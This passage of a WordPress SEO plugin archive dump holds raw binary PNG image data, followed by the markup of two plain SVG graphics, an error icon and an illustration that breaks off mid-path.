��-k�}�O9��;C�:=�#��w׮#]��sqv����c�‰��F�k{ϻ�d�,C�X��D'��m��I�_/�)�P�k@/]�����|t^U,��ǥ?P��ӻ�=�^l�j��pc�݂��.��K.{�Ԣ�vo]��󤪒���!M��낡o*=2����Y���'Ȝ-�p^6�s\_���"���&X��-�{�O}Ăi~���|T��!a����	���LӉ�漼���R�p��������M�
/z=����>��뚄޾J��i�u7W:홮�|<��W������n�����Cw]���q^+�i�$uZ:�|6=]�w�^v��m�N�
��GO����8?�ό��/��J�Fr���$�n�+�<t�_�z�ӗ��i�z�.��#�o�r��èNo4q�.�)��-����?��J�-zM}`��C��<��͗��8��Sd�w�G���}+C��Á{��tw�Q��H'>�B2�m8?�Q�AG�Q����ۉL!Z�R�!q�Fz^{��^���=�?n��8�>�<��%C_{�	A'���t���Ŀ�9��:�c��+w��@�W7�c�*�U��������5@�d�2�'��f��a��e���S�v_���=�?�c�Z5g�C����9$��k"�[�LwNK_�9��-�I�.�}�����Ѓ��s蘏;�ӡC_q�X�R:-]����gJ�����F�pe�y�ntl7MB��OݡW)�d�+w��	W=r�LP�y8�!K;����s�z��5�����z��G����tp�q<�ue}�����G�P�����(���t���r�t�F�1	�'9��#:�|3�w�^e�/M������(uN��G����pe���N�0�����}�#l�過�om���E�k
��v���?��r���ݲ��w��S�w�s:���WysiZ:�P�3�2�*DK_�9�~w�Oov���c����,�v�������y�Iޭ���)Х�dǿp�D8��
(�q��h^�
Ѓ��@;ϧ@�����y���O�n}4��;�#ߤ��(��7u.S�m�:�'V���q膡��9@���~&�+wZ:�3�a�~u�����
䣕}���A�^0�:��\F�u�{�.�P��NKǧۗ�./ί��w::��Wh��n��a�kv��<=��ϕNl��9T7��3�6�C�xl��+
z>�}E�"�;
����[ODB�I�O��wV��s��g�dTg��� ��t:t��W���\��������ct�z\:r��Ǖ;���&�r���p?�GGW�o�tv��.*2�z��\�#�DJ�-�9��{ok�q|���q��DtRy�!�<�ۀ.������#�a�Q��93�r��j���y8�<�^}���W���!�v���_�~�~W�� 9�����p�C�i5k�~��$���A�W�C7��K���8�'1B\~����s��g��_}}ν��H�����_��t�A-�_+!��3�2���П�^g�H�gZ��'΄ιm�_�H���1��8��7���u���0��/�8���ei�r���C_��С�^�K������y.z�9���
tpN����ȹ��+=U:=��ud_ʆ��ңЙv�����-zB8'c�o��:'�k�ꦓLJ�%�ǜs��"�sD��|�#���ǏR�RO�um�!:��Ч%m��Ǘ�����MU�4�����H'�k�n#����E�~�	6�$����K�Wi�c���D0�7wy
:!����5څ��so�O�)��/:�OܠW�s+�[:GtH́�ڇ�sb�����C���^l����zE�%C_�s��_ C�txٸ�#���\���֎�4GY����9�oM5��/�!:L|�&�tv��'��ɔ��!%+$C_�so�H߇���;zպ��q<�M���ϑ^��qO�|�;C�}G���4�$�2�����h���_�\�$tp^7Q��I�⒨s"o��:7>H}�t�t��8��;E�y�Y���O��N�;{���9�|��_ �D�g��G駇xᎡ�5����=�;'ʽ7�'+Kun}/=�Ua���d��>�����y�����K�Ɂ� �?)����	9��=3G:>Y�!Cg:���qC�I��.�#��dl��ie�{���9=П�j̹��d4����Ыt	�u:8���3�r?���=C�9�q���#����`�Y��c#C��>�A3|ʝ��?H��[�#��|��o2�����Kb�I=/p?�N�e��t��3�[�)��pD8�GV�tj�o�'��s��m/�Qv�s9��m-�	�?@��n�CГ��#Z7Л�rb��@'���3�K�>??�Q��2;��C�G�L@�:�]o�	�5�E�c���>�~x����s�?!$�X�0r�t{��k�.޳to���O��Z:8��SЏ��=����Hg��s
t�Oa¸��T�I:��N;w�o�3��3z�
�<}���D��d��1/�%0�9�:ZP+9D9� ���(t3,�]_��P��5�y����E?>�K��]�\�����t���HW�g�|��C���o��Y��0����/�w�ݵ�ޢ�O���x��\CH�B�#��������'l|M�Ǡg�#�a��6���t�b���ڼz�;�/r�2���98���~ ����z��7z"
�;,C��kw�3<�3drB��X�sq��޶����w0w��ᡮ���+
9��C��=�A?��HG����z�t�O�N,�s�!����=���K�]�!�Sy�4~=�PУﯝ1t<���8㛲"�*�����H�G��k�t�З�$�#銄��^S�� ��1�r�}��Q�/��/e����O{Nh�>�;��e����	=��O�:���Bkj��s}�����/�B��l\�|�y�H�l|섵��V��
�(t��>A$%�f��r~���I�+7鑲��e�U����}y�������s�>�W\MP@7�A�=p����~-t����ό[z��_-<C��wΉ���.2�)�`�qۨ�u:��t3�]~<�;�7����c��Ż-��;C�F�.�N��K���H��{�8����D�Yo�{4����#�^���
c������~���/��w��E�R:Hг�q��I9E�!\�B����/�~a�G�uד��HC�<)�v�!��/�7G����d8ҍ�ug�/�������g��~���y�'����zz6$=��s��\�!��A�T��XLgx�ޝ����3?^:}��.y�~�j$ߠ龜z'��#�/�=1��>t�п���q�+��I��N�05�Juݿ��!�G:��"3�6vo΍1RQ?6�=��q�CE+��<�n���Ki���%���H۩kH�/�:!�|c��3�uҥ�	#M#]s�����
�,��9�.�WF,�Ut�C�������_$��g��1��޸��/�����?���ڜ��k�v;k�q��m҇�ۢ@ˋ�W�]g��|7�Kw`����F@����8��^g�N�H���k#kgj{�/?�Z��|�2*==O���
t��(��ʝ����z'���o]�Q�zR:��S�C�M���B�s�=5��~�w�ƭW�B�6��v����p7沚�]�{�s����g����t���u�������B��½��f|̂;���@ro-��}"6�0�[��Xc��kav��|�3B�Ѕ=�)���m=�Y����
�fZڪ}�n�?��v��_�\B�GAG�=
���݋Ot��m�a����]
�̩���6eݎ���� �H9�14ґk����;~��?�_��9�ח�C�y�N�Es�X.���-Lt�<4&z�\��~�)(��P�s��]ǃ+`C�ioƥg��;��=={�C��x���3�r��|�N:HoP��{�рk`�l�9��<?g>�"F:�r��rg�b:Poi¹�)w�ġCVC���B�'ޤߒ9^����tHԲ7�a�Ka�4M�c^d��#�>1�%C_z9��QP'��J�C����+ƾ��(���x�����>x&�wꐸ��O�����ͽ%n��
}��;C/過�C��7�B�F;�k�����x�t��m��;���E�N�zsp[�Ua�4�vQ���X��H7�����=�痡�h���w���H��Ȕ�f⛄�R��?�B��/06v I`뿤U�P�����&Ik��
G:.aY/N�����@�@GoA�`��O��<C߆�:XǑ�M"(�����H���K^���@'�m�L�:2
������}^������g�t�)9�<J���~H��$t���M�tt9�a=�]BGoR��3��½�ϝ�`��|�v�t���\�CcGCw�!��_�\{n�6��q�R;�z|�.?e��.2�Yݷ�=u��5'�Y�#,��tz��-=�s
�q�ṑ��O���HG���]1G�.2��q:~�tߋf{�
�$t���m�<��H�kG�Q��"u�s>��?�!]<2���nc�{�;��~�q0�.����7��(N�����;��y��S,+�)C�yO� }p#�
{�t����I�N��]^���S�0�/��w��D�X�g�kt)��Oё�tg���:
;w�:=,�OtU�F��W��+C_�$NE�C��k�Ӄt
��z;(	:B���,�?�&]i��1Z�b��)<�GF:�(C_5�Wn���|ˣ�L�W��D!��П����r�9:��
��U;t��WKɋܓ��O��.�"�q�)�
;��ҟ�-E�е-��b��7�}�>C_�9zz�S�<��"�p.��t�G:�ߤ�Я)�J���~_Ӕ�t�O��2�I�ā.��ᑑ�,l:����G�;�&�yF���I⫣8]���/�Ň��2�R���ډ+�9=`v��c�tw	���:�3e�JM3��7u���r�}o�cϺ�B�����6��-;u
�5��8��n��:�؛��>tCdu�t.&�&
tH�a�.@�}I憝�F�����is��$A��C�	��9қu&xeT\��~����}�❓3g�r��	
m�)	��ĝ]�����S�S:*�zŕ^B��:�SEL�~��;�����b�S��Do���y�h8�M:��AO���:|U��Z��:�̶v�&��g��)���}H q�Μ/���d�}�q�	6�Ƥ�>eC���XU�%}����}��)ӯ�S�+��_�G�����~x%�DTD�:��ng����F���K�(C�Ϲ=�mF
��0�y7<G�����N�!���=vG�ƙ�&\K>�<�@/RR�o�tq*����O�d�
�g��Z@�8G$?�B7O]��*��-���-�L2�)����6�H׾��u��O�܀��ƃ���c���t��m1�8vG��]_�������oR�t�0Б��ޭ*t��}����!��#���q4�g���;���F����sA�r��ޮ~��%�E��SP@����i��x��ȅ�U��O1ϱ=G�q�N�t�s�<���Ǡ�Vݤ����m��&:�I�(Hʎ���.�QU�2�ɜ���6�u�z�s���q?���Ѫ��4��_l�S��z5�y���z�M#f?Zztَ(C��yۊ��xM_9��n�Bw��ҡ7�\'���aH?���^�����j����gtN����y~	��ی�N´z�\�M�nO�PU�n�|1�m1>�1�t�`2��t{�y�
�
ϝ��@��׿�tutt����R�a���<,�b�g��:o�z���t{NB7<w�С�y�#�����>�:]������@?�P�v[����\�3��D~��������t���tt���P��N�U%�4�m�4��|�ԩB�?�n��U���p޶:�+�s����t����]CG�?{�
C�.����{���ʲ*/����?~����Ou�7��'�/��	�]<5�E�2�q:
������M�Hg*�8u]��~�yr�/�?,��������<�;yAo��:nC�x����Лgy"�Ā�\�z%�Ѝ�P>����ҥ�]��}��/Z@���-��H苌�è��#�I����/��.KP�s�/��O���[��]$d3�i�#@�t�lZԴ��{���w;:�S:Z�i�.�o��DVG��'�N(����ݻ��'p�]�;3�+譄���Yˇ1��Y�#��ݠ�%t��8�0Χ�����x�?�.P���s@g�D_<�r��
2<or��(e�.�;I�� ��˵�;�sU^T؝�LґR��}��u�>��0t\4�-���}�����'@7�X!����
�c�~=ֵ����[�<�2�6]�!;|ܣI�nx��1��Q:�]�F�J�n�3�����KT�������*C��G��BYm��Co.�<w��� 7:Z:�W� w
���2����v��^�:C��qʬgU|�<�����6�����y���B��n�'�3\������]��������ЇÒX��B#^��+�)�7+B�$B��tb�;�wW-�M��<�](G����
��{�;	=
�n����O��\���!�a�g�Ѕ��ڝ�>���{5��'>]�M7�Σҫt睷�gl�3���o@'sd�З\����V$��t�*�ߙ~ �/	�6E:ŝw��oXz������'o��ٛ��g�7�ׇ~�{�N�E��	�p_]�*,܏#}K䋎�����+�d?�f���#�E8���IBG���??[t��Y�i�?��u��=�7Z�#���*CO��q�<��/���<��_z�fo�1:xy��������)���W�(Sf�w0��0t;:�����s�
�%CW�B��Vᥳ���������+_��J���S�c��ݤB7+
t7�ϣ����������tV�O����$�uQ1O�JOdU�ٛ'A7��}�Ż�9<;/t�}���1����siοƶ��<��U�hע��q,�zj�����7�#�E��}*�H-��Yg��q��v������ӫA�b{dm�?`��=�y�lQZK���z�R��1��#C��:G�Ҡ�͋@�P�
���}J�Ck�C(LU��W����	ݤCo�Б]x��%t��^:�b��^�⦼WU�F"��;;'["��d���@��x�.�/�x�:�x�{Y���0����O"K
C�����A���]8�r$k�#��ʝ�A���/]�0�wy3�du�nxt4~��yI����jSW�Ȥ|�&���x�S�;��M��c�ު~���_�Ι�)SS�.[�O��H�Лt�(�?O��|F�5t���=t�[���7J�A��[L�.}U��6����y���s��d:�s�%b�g���mt�,.}����_6b��9֣<�@v	�ʩt���1�����}��{��>��S�����%	��|�؉����7wB7��4�#�)�:t��ܟ��_3�y~���J�%�s�$=C�����B�h��I:G���=��gv�U�����ҹ�	��B5���\]������2Ao��tN�~F��իB�~�\O�ӿx'=�Q�T�:���~����T������C�Ǡ�sűz���@�Hgje���Wz%�������@|���a:C/vA�)�1��@Bo}�Ż�9����=��)�����ұ�F��U�3�]�y��e�x�h(Ӛ��BG�tbO�?Nz�3Zz��]g��0��|�<8���۩5:��\]�j��:���֚SxC�,n��v豁����W�㱆r@��C0��p.F7U�3t8:�@o���Qhড়ĥCo��};;�˾ϯ�t9fW^V}{��J�Z�L`ع����w������
O\�9;�|��л���՝��}Щ�{�s񷡫v�¯t��t�8gG�A��ݬ�rG������?=й|��E��Co��k@7��9E	'qa��Y���F��rп�S��;�i���e�Co'�.��CG<i���Ɂ��}A�x\��[�~B�p>�Y\��nt@o�3ӯ��T7��}
�ݘ簪�qN��g�^�	��'�Ɋ��-���N��	�\.�_�ft}��9z�@���DU�s[LR��7���fD<]��<�pu��8�:��[��t�y'Ot�U�M�u�	���n�f�8~`��^�W:�bЏ?��(�3Q]WU|/N���-?x��-��QE�\��|���a�ju�*��(��t���G��Q�3��:>X��9j'��=^�e�o�лв}9�Ù.��a9�x��:���;e*C/���w��A��O�(�n}���l#���kq�b�΁�r�85Sd�@)��L=t����o�з~gk:?�!�w�r�j�x��nJ�
~��@���O���A����!u<w1��%�w':��J�K%B�����è���˓��?�?p
3,S���:ۓ2t�"����my��}q{�3�·_QC���=,tB�B��^��u{]�wm7��zٕ�e�~���g�b4�������±{��3We�W
]X��u�%��6}�YV:��6�q���M�yݔ���os�~V{�
]>�L����a�u��y(�k8�Z�^ߠ�6��UX?�Fz����;�/̬vNe���l�����_��zd�C�},-j�6҉���>�ޑB��m�]�ݛ=�f;�����ǧ��t�B88���@��^D;�B/:�as�<t��7g�=�?9���@�7E�Ct��~�n�/�H��+t���;/]<�ܔg���~sR�?��<�X886�][񒪌��+t����t˄�&:���f���@�S��cI����tY9Nw�{��z�pE�C���s���9���	�t���{��:�y��N����۞%w��9A��s��$�C;C���m�'����i�ğF՟����U��;�����s�
�Aw���p����3��	��г�C��f�!3E��z昇G��@�n)��h,Ys����w�����=���Y�‡
��^K��Ԕd5_
��B�<�P�}�mtY:摻�\��٠����r�v��)���9:/
ݮ��>��d��&�۫9������M�^�zC�����Y���_|�hs�(Vj��I/����+��CQSD9:o��ڮ�-ߛ����Fz�P�a��r|�pu�Q/8��ڞ�Sȟ9�z���O�7�G?��r��o8?�[�y�M.r�G�sX�ノ����9dA�CF~���8 �'ℿ8�*�s!�&����u�{R9:�J9ϻD�Is� qD�l���!p�ڛ���.����7p���?G�W"�z;deP��*�X����z}��g
��w,�|���Н�\>��v�!3���xa�],�\:��7����]SE�[�=`�Vd�5�!p�_���{ޡ�;�w�ޠsy�+􍥧�˳����8�}|�񗁾�t���]O�,0'~�=*t�ǁ�a��_�f�iL;��F)t�����9�_\�龽��С�4�&\O1���]�Cp�1��cBG�Ź�:7?[�ׅմ�4os�+�6��m��@G�73?H��s�;(t*����p:x߿����!ri��/��A�K�"�L��'��n��)��P'd��w��o�Ϝ@r堷� ��~��7��C�婃r`CW�w�q`��Թ�Bo�	�S�<��O��N�n%r���W
�dC�����
}���s�����#s\���h�?�Ё��-7ȁ�u�+�]�ř<��}x�?��71t��]�ԗ`g<�
�C�\�?k��L���;�!􊙝�0t�E%F�Ԁ�r���Щ��pt��3���|�=��ȝ�,��%��S��!'�:�
�ç�dC�H��#Con�#r]�+��_�1>�y�I<���':'��V�:��]��b��*Bݛ�J�O��f@�ɝ:׷���s�jbM���e��	'�C�H�L�3�����[ p���aMF`�7�����l�Gf�n;T���������PU,zd��1����[�יk
��ݍ_�`t��!���C�;���B_�+��§x���e�-Or��
�K��U�y��4�^`�n�σY���Q����X�+s�n�A>�O�c�Q�k�!	�������Љ�D�2�?��.#0�sK��@谑E����붹B����H�`Ut��0Sz�3�y�7U��|�z;��j�5����c�::D��kvM�F����g;
�y%u�
��A�M�p�����e��dСJ����;	t��u#C�?���<_U��B�l��pK']	�p�!ƖZW�
ݞ���S��5����1:��zy�n�/O��;,ܡa}��x>w���G^�B�KAowr���>:�:T-��uE�o
]�����f
���5|p�
/���c\��N��D�#��7�}�Bs����7����7�+t:t�m���潙@7�s�ny��
�c�BwŠw���Y�pn`a������ǝ;:�ϞBW��Ķ6�J�D�����5�n���s`���� ��qLJ����i
��f�_��LD��������!��drӁ?��;+}��}�����e�gq��t?`p ��:��i
��C��籦���ҵ�۲�������h�<m8�Q�;��L2tV�WM��r���d�>��I3�ɉЭB�l
ݖ�n?:D�,8Iܐ�̙��ºƝ��{�)�n�Y$��(3�V��>�5t�5�s6җ,�?b�U1$�-��c�)�5��Ӑ����'AN-M�[��U�r�Bw�퐑���[�\�.������._���{��d'�
�B�3�E�)t*��;2�{qioV+gg��ۿ�Я�Bw���T�I7��ެV��:�-�9�7�}�B��ґP�t����.'f�4�����B�<H������h&�y���ϖBw'�>��A
ݮ��DJ�;.c\��o�\���:�C�9?M��CwYk���2�s�p���!�;���U�O�k�c��m?rn�L��+t
���¥wT�a�c��N��l�i:�?�j�`7f)�s݅˭����e�~�:}��3�9۷m�
�j[o���݊}j��R����
}�\��	�DLj�9g���_��%�~��i�����{A�S��)�1����GO�I��������޸�R�w'��pn�B����i�:c�ȵR��s�/���Đ�y�ƐB�0�n�,�tk-��Q+��â=�v�3C�:�>MS���s��[�y��>
�����C
]�oR^�X�r���?J�|���(�N�X[�BϘ莅�L�;z��|TT�T��
��7���o�vcŁ0
[%E����}���$��M�Ƅs6#2W�z�Ʌ����b�4��&�hO@�F����z�쭮�C������?�`��܁�_�%�:���Io��k�WZ櫫�B����]��kH�{�{�};t�\�S�t_LsaM���Z�[R
��ԅ�O�9�j�+Ћu��拻q����'&�3z���[�i���yb\��ɵ ���J'���g�"�с��7C/�!m��|��y9���3N��m��e���A�+B��#�kv.���1��
�{R�kB���kv6P���V�3�6�fC@�$]zB����t볠�MvE�'�r��;��ٹM�[qt5A/ׅ>;d�����O�_i[q����c�M�����Ћ�����
�;�?<��lk�z�3z�S��A�?H���G@�Ѡ�7�?mܐ��{��zqn�u�����&zn�#�y��O������R������l�^���l��K+�����|��hM/�mJي#�G�
�3�8��k_�[qt_o辷�;�.PaA�l@/c@w������Jۊ#�{C1����+�oM�7��-�_F��N���j��.�BS��N@��N��zɩ��,�.[q
���{߁�Z�ǵ��ɨ@�	�q�@������н�3ތ[b������>����C=��
eU���ݎ.����|#e��\j�~��}��Џ���y���E���]�/^�9н�S��F��|��g���N@o/N`.���&�ן��%���t�Y��|�Ч����Jm���ߤ�ǟݣ;�̫���^,?�=f���+�c�`#�_I?�&����m��}��PKC��q���B���e>t�!���kHݠk�xڱ�݈nݔ�W�M�R��t�������ʘ݋eF@��v�����Ŷ;�z��^ԧD�.��Nw���q�^eBw��Nw���v�t	�@�A��ׂ�Ft�%oI�	��YKz�gJ�I/���UC*zXr�,�t��6���r�6Ŷ;��%=2l�-��OZ�#˥ʹI���7x���R���~��q�";H:�_�K&Gy:t��-/鑩Q�Q�x�v׀n:z�-R-��t�C<H'�w���[tχ�Y���nЏI�6����@'�w���$?$���j�t�^Ы���5z?���	ҁN@�ؽ���<z�t�Эx[��A��ԁN@�6��B/�ҁN@������^Q����;���s�1���0eI:}���{�S��s�D}/�0�_@��Z�]t3�J��N@o���{
=�H�=ҁN@o����3���^�Kz�=��˟�������2tυ^̊r����`]�o�D��>C73�b�L��k�T��@w}�ҁN@o/���bKн�X>��/ԁN@Ϫԟ*��z,A_�tz~�����z��V�:��}�}�����@?3�]��n�Mz��ɓ��8ޞ�]�.��������⯤{��K@�T@��yw�B@:����c��5��G@�^��6��~*�ˁ��K��݀>JtO�}�B��q:�
�
�@7eJ�����ݥ�x�=zY�s@��XɆ.�b'G@zX���	�p����\��I�Յ�=w�
��ЁK?��W�@/�:��������D��貗B/�..:Ћ��K@?+�]+�
�D@��t��t�`@�@/Zh?�s#���B9��A:�m��B@�[�E	��k��t�q�:}Wq2t�q.�mݓ��-�t��Ї�@/:&]�ٹЁ��IЯЁG��W�@�F�acF@z�n�:�HE�
��/I;���c�Rt�0zZ���B;�K@'���.�0���E-Uʁ�9*7)z�5e%)���WZ�mzlIEND�B`�wordpress-seo/images/alert-error-icon.svg000064400000001035147510273100014531 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" role="img" aria-hidden="true" fill="#8f1919" width="14" height="14" focusable="false"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z"/></svg>wordpress-seo/images/indexables_3_left_bubble_optm.svg000064400000023405147510273100017276 0ustar00<svg role="img" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 312.42 274.69" focusable="false"><path fill="#f0ecf0" d="M287.52 143.51A131.18 131.18 0 1 0 74 245.59c8.71-7.35 16-9.79 17.77-12.33 4.14-5.91 7.5-14.86 8.09-20.77s-10-19-3.54-32.53c2.5-5.25 10.52-15.43 17.55-26.12 11.18-17 12-38.73 27.93-38.73 14.61 0 54.35 8.86 70.3 19.49 16.77 11.19-3 52.58-3 52.58s-.95 21.08-3.9 30.53-15.59 15.55-15.59 15.55c-.59 7.68-11.22 21.26-13 30.12-.54 2.73.15 5.79 1.35 9.53a131.21 131.21 0 0 0 109.56-129.4z"/><path fill="#006531" d="M176.61 263.38c1.78-8.86 12.41-22.44 13-30.12 0 0 12.63-6.1 15.59-15.55s3.9-30.53 3.9-30.53 19.73-41.39 3-52.58c-15.95-10.63-55.69-19.49-70.3-19.49-16 0-16.75 21.72-27.93 38.73-7 10.69-15 20.87-17.55 26.12-6.5 13.58 4.13 26.62 3.54 32.53s-4 14.86-8.09 20.77c-1.78 2.54-9.06 5-17.77 12.33a131.08 131.08 0 0 0 24.14 15.51c11.34-23.08 25.51-37.91 30-64.7-7-5.37-13.58-10.4-23.44-11.58a373.63 373.63 0 0 1 62.43-44.08 413.25 413.25 0 0 1 29.54 67.71c-8.22-4-17.66-4.71-27.77-3.55-2.62 25.81-15.28 40-21.57 69.48 3 .2 6 .31 9 .31a131.09 131.09 0 0 0 21.67-1.78c-1.24-3.74-1.93-6.8-1.39-9.53z"/><path fill="#89bc3b" d="M168.93 204.9c10.11-1.16 19.55-.49 27.77 3.55a413.25 413.25 0 0 0-29.54-67.71 373.63 373.63 0 0 0-62.43 44.08c9.86 1.18 16.45 6.21 23.44 11.58-4.52 26.79-18.69 41.62-30 64.7a130.51 130.51 0 0 0 49.22 13.28c6.26-29.52 18.92-43.67 21.54-69.48z"/><path fill="#093f22" d="M118.49 60c12.73 8.62 85.86 49.87 96.15-15.23C184.74 28.63 140.9 34 118.49 60z"/><path fill="#8b6c9c" d="M202.53 50.08c.44-.89 6.65-3.55 9.08-1.55s1.78 11.07.89 13.95-3.58 9.13-5.76 11.6c-1.56 1.76-4.87-.3-4.87-.3zm-68.27 9.79c-.63-.76-11.33-3.22-11.45 1.85a24.26 24.26 0 0 0 3.46 12.45c1.5 2.61 5 9 7.29 9.36a11.63 11.63 0 0 0 6.57-.68z"/><path fill="#006531" d="M214.64 44.78a2.26 2.26 0 0 1 .08-.44c3-19.51-16.83-48.85-59.48-43.76s-44.86 45.08-37.55 59.26c.28.2.4-.11.8.17C140.9 34 184.74 28.63 214.64 44.78z"/><path fill="#8b6c9c" d="M66.74 118.06c-.3.6-43.71 8.87-49 12.11s-7.61 12.3.07 16.43 57.82 2.77 57.82 2.77z"/><path fill="#006531" d="M160.07 118.61c-14.76-3-37-16.27-45.25-16.86s-22.68 11-29.18 12.18-18.9 4.13-18.9 4.13c-1.47 11.21.59 21.8 8.86 31.31a166.78 166.78 0 0 0 33.67-3c-1.44 9.65-.51 14.94 1.77 17.72-.04.05 63.8-42.53 49.03-45.48zm33.08 9.5s36.63 7.09 43.13 12.4 11.22 14.18 16.54 18.31 19.49 9.46 19.49 9.46c-13.67 7.33-15.91 17.07-13.59 27.76-14.79-3.49-29.12-7.09-38.39-11.81a66.22 66.22 0 0 1-16 8.86z"/><path fill="#006531" d="M201.79 129.47c-3-8.16-.73-21.53-1.91-26.76-1.33-5.94-26.81-11.34-43.35-10 0 0-4.14 14.18-5.91 23s17.13 24 17.13 24 35.6-6.02 34.04-10.24z"/><path fill="#b498c6" d="M168.34 137s9.69-14.85 16.73-15.91c7.9-1.18 11.55-11.78 11.63-17.94l.59-22.86h-39l-1.18 17.13c-.26 7.15-.68 15.54 3.5 19.72a25 25 0 0 1 7.73 19.86z"/><ellipse cx="160.67" cy="164.75" fill="#fbb03b" stroke="#fc3" stroke-miterlimit="10" rx="7.09" ry="10.04" transform="rotate(-77.2 160.673 164.75)"/><path fill="#fbb03b" stroke="#fc3" stroke-miterlimit="10" d="M146.49 175.48c.88.29 22.44 3.43 22.44 3.43l-10 16 10 1.18-37.8 29.83 14.47-27.22-9.45-.89z"/><path fill="#89bc3b" d="M197.58 133.42s3-.88 3-2.65c7.9 2.91 32 8 34.56 9.74 3.84 2.66 8.86 14.77 12.7 17.43s15.35 9.45 15.35 9.45l3.25-1.77 5.91 2.66c-11.93 6.85-17.26 15.85-13.59 27.76l-8.86-1.77c-1.41-8.81 1.86-17.38 8.57-24.52 0 0-11.59-6.79-15.43-9.74s-4.95-14.48-11.74-17.43-33.72-9.16-33.72-9.16zM75.6 149.37c-10.31-9.5-11.22-21.56-8.86-31.31l4.73-1.47c-1.78 11.22 1.85 26.07 10 32.49zm73.25-30.12a16.37 16.37 0 0 1-8.86.29c-5-1.18-13.88-16-30.72-17.42 12.11-1.48 26 10.33 30.42 13s10.93.59 10.93.59z"/><path fill="#8b6c9c" d="M271.31 168.28s33.2 15.35 35.56 21.56-4.89 8.93-7.25 13.06-40.9-6.86-40.9-6.86c-7.05-14.18-1.94-23.04 12.59-27.76z"/><path fill="#b498c6" d="M247.5 179.5c10.93-.89 23.92 2.95 45.78 1.18 10.93 1.77 17.72 14.16 18.9 18.59s-1.81 12.2-15.7 12.49-40.12-15.13-51.34-13.95-8.57-17.42 2.36-18.31z"/><path fill="#b498c6" d="M251.93 179.2s-10.34-2.06-15.06.3c-3.78 1.89-5.91 6.36-10.72 12.62-5.46 7.12-8.78 9.83-12 17.21-1.68 3.82 7.09 8.86 12.71 9.75s16 2.18 19.49.29c4.43-4.43 5.32-21 8.56-25.1.86-2.27-2.98-15.07-2.98-15.07z"/><path fill="#b498c6" d="M214.12 209.33s-4.13 9.45-5.61 13.88-3.54 16.13-3.25 18.5 2.37 4.54 4.73 1.59 5.61-14.77 6.5-16.84 5.61-11.81 5.61-11.81zm7.98 5.32l-2.36 13c-1.18 6.8 7.09 8.57 8.56 4.43l2.7-14.48z"/><path fill="#b498c6" d="M238.94 217.31l-.3 13.29c-1.18 3.54-8.57 3.54-10.34 1.47l2.7-14.47z"/><path fill="#b498c6" d="M247.21 215.53a14.42 14.42 0 0 0 0 5.32c.59 2.07 1.18 5.32-3 9.45-2.62 2.62-6.61.78-6.61.78l1.3-13.77zm-200.15-88.3c-10.55-2.15-15.73-5.63-26-5S-.09 138.3 0 143s6.93 7.64 13.41 9.1S38.86 146.8 50 149s7.61-19.62-2.94-21.77z"/><path fill="#b498c6" d="M37.58 125c5.32 1.94 14.59-.81 19.55 1.94s18.67 31.24 19.23 34.4-10 7.2-15.6 8.06-17.06 1.12-20.76-2.91-1.61-23.57-1.61-23.57-6.14-19.83-.81-17.92z"/><path fill="#b498c6" d="M76.36 161.37s2 14.89 2.72 19.48 1 21.59.8 24.1-4 2.43-5.49-.26-3.63-19-4.5-21.92-3.77-17.61-3.77-17.61z"/><path fill="#b498c6" d="M69.91 165s-4.68 17.9-6 19.19-5.23 2-8.45.29l-3.66-3.78 4.43-15.39z"/><path fill="#b498c6" d="M54.33 183.34a5.58 5.58 0 0 1-7 1.15 5.56 5.56 0 0 1-3-2c-1-1.51 1.76-14.8 1.76-14.8l11.17.87z"/><path fill="#b498c6" d="M38.75 163L37 175c1.77 4.19 4 6.38 7 5.5l4.15-11.33z"/><path fill="#093f22" d="M113.83 153.84c-3.67-3.88-7.22-17.17-5.44-29.57a36.28 36.28 0 0 0-1.48 18.9s-7.39-.59-11.23-2.66c.89 3.55 13.09 6.83 13.59 5.91-.81 4.58-.3 10.39-.29 15.06zm94.09 37.77c0-1.18 1.48-11.22 1.48-11.22L229.48 165s-11.22 13.88-10.33 13.58 13 4.14 9.74 3.55c-9.45-.27-11.81 6.53-20.97 9.48z"/><path fill="#8b6c9c" d="M150.92 98.05s9.94 24.17 25.26 22c13.46-1.88 20.52-19 20.52-19l-.59-15.25z"/><path fill="#b498c6" d="M128.39 50.43a1.68 1.68 0 0 0 .08.59s5.42 28.75 8.33 38c3.46 10.93 22.34 18 22.34 18 7.35 8.42 23.3 4.88 26.68-2.66 0 0 16.75-10.87 17.88-25.58.89-11.52-.57-25.27-2.35-37.76-22.9-9.18-52.35-3.58-72.96 9.41z"/><path fill="#8b6c9c" d="M152.39 85.21c.36-.23-1.85 0-1.85 0s5 13.36 20.24 10.88c13.83-2.26 14.09-16.87 14.09-16.87s-16.97.67-32.48 5.99zm1.78-13.34s-.59 5.5-2.37 7.57-5.61 2.77-5.9 4.54 1.77 5.32 1.77 5.32a13.36 13.36 0 0 1-5.61-9.75c5.16.34 8.99-2.76 12.11-7.68zm23.15-3.8s2 6.28 5 7.46 6.27 0 7.45 1.48.59 4.73.59 7.09c2.07-3 4.89-9.91 3.47-11.3-5.83.36-10.89-1.17-16.51-4.73zM167.79 76c3.74-.94 3.73-4.08 4.63-4.33s3.09.87 2.93 2.12a3 3 0 0 0 2.26-3.59 2.77 2.77 0 0 0-.12-.41c-.76-2.14-4.89-3.24-4.89-3.24s2.56 2.33 1.77 3.48-4.21 0-4.21 0a6.08 6.08 0 0 1-4.06 3.15 8.65 8.65 0 0 1-5.07-.59s-1.54 1.34-2.42 1.08-.09-4.59-.09-4.59-3.87 3-3.61 5.58c.18 1.79 2.21 1.87 3.09 2-.55-1 2.94-2 2.94-2a8.83 8.83 0 0 0 6.85 1.34z"/><path fill="#093f22" d="M134.86 71.91a5.33 5.33 0 0 1-5 .89c-.78-.23-3.06-7-3.87-7.31-3.7-1.45-6.32-2.87-8.09-5.42 0 0 .67-16.07 41-23.92 47.51-9.26 55.83 8.19 55.83 8.19-.13 1.3-3.2 2.06-3.55 3.65-.83 3.82-1.21 10.42-2.21 